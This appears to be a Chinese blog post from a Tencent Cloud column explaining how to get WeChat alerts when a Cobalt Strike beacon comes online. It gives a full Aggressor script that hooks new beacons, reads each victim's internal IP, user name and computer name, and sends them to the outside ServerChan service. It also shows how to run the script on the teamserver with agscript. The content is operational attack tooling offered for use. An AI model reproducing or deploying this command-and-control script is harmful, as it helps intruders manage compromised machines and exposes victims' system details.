前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Cobalt Strike 上线微信提醒

Cobalt Strike 上线微信提醒

作者头像
物联网安全小编
发布2020-04-26 13:39:12
1K0
发布2020-04-26 13:39:12
举报
文章被收录于专栏:物联网IOT安全物联网IOT安全
代码语言:javascript
复制
Server酱是什么「Server酱」,英文名「ServerChan」,是一款「程序员」和「服务器」之间的通信软件。说人话?就是从服务器推报警和日志到手机的工具。开通并使用上它,只需要一分钟:登入:用GitHub账号登入网站,就能获得一个SCKEY(在「发送消息」页面)绑定:点击「微信推送」,扫码关注同时即可完成绑定发消息:往 http://sc.ftqq.com/SCKEY.send 发GET请求,就可以在微信里收到消息啦

先看看效果

复制下面代码保存为 http_ftqq.cna 文件。

或者百度云下载:https://pan.baidu.com/s/15LPGaTLkdWWgVZW8A1E82g 提取码:nm1y

注意:需要修改代码25行链接内容为你Server酱的SCKEY码

代码语言:javascript
复制
# 循环获取所有beaconon beacon_initial {
    sub http_get {        local('$output');        $url = [new java.net.URL: $1];        $stream = [$url openStream];        $handle = [SleepUtils getIOHandle: $stream, $null];
        @content = readAll($handle);
        foreach $line (@content) {            $output .= $line . "\r\n";        }
        println($output);    }    #获取ip、计算机名、登录账号    $internalIP = replace(beacon_info($1, "internal"), " ", "_");    $userName = replace(beacon_info($1, "user"), " ", "_");    $computerName = replace(beacon_info($1, "computer"), " ", "_");
    #get一下Server酱的链接    $url = 'https://sc.ftqq.com/此处填写你Server酱的SCKEY码.send?text=CobaltStrike%e4%b8%8a%e7%ba%bf%e6%8f%90%e9%86%92&desp=%e4%bb%96%e6%9d%a5%e4%ba%86%e3%80%81%e4%bb%96%e6%9d%a5%e4%ba%86%ef%bc%8c%e4%bb%96%e8%84%9a%e8%b8%8f%e7%a5%a5%e4%ba%91%e8%b5%b0%e6%9d%a5%e4%ba%86%e3%80%82%0D%0A%0D%0Aip:'.$internalIP.'%0D%0A%0D%0A%e7%94%a8%e6%88%b7%e5%90%8d:'.$userName.'%0D%0A%0D%0A%e8%ae%a1%e7%ae%97%e6%9c%ba%e5%90%8d:'.$computerName;
    http_get($url);
}

把cna脚本添加到本地客户端后,如果beacon上线了,这个提醒的请求 是从客户端发出的。

那么问题来了,如果我要接收通知,是不是就得一直开着客户端连着teamserver?

这样就非常不方便了,而且如果网络有波动,断开了到teamserver的连接,就收不到通知了。

其实在服务器端有个 agscript 文件,他就是用来在服务器端运行cna文件的,这样就不用一直连着服务器端。

./agscript [host] [port] [user] [pass] </path/to/file.cna>

  • [host] #服务器的ip地址。
  • [port] #cs的端口号,启动cs时有显示。
  • [user] #用户名,用来运行这个脚本的用户名,随便即可。
  • [pass] #cs的密码,就是启动cs时你设置的密码。
  • [path] #cna文件的路径。

注:Server酱 同样内容的消息一分钟只能发送一次。


过程中遇到Server酱微信推送中的问题 输出到微信端的文字不换行。 最后查百度找到的内容是写在URL里则应该是%0D%0A%0D%0A


参考资料:

CobaltStrike插件开发官方指南 Part3 https://xz.aliyun.com/t/6188

Aggressor Script http dome https://github.com/001SPARTaN/aggressor_scripts/blob/master/http.cna

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-04-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 物联网IOT安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档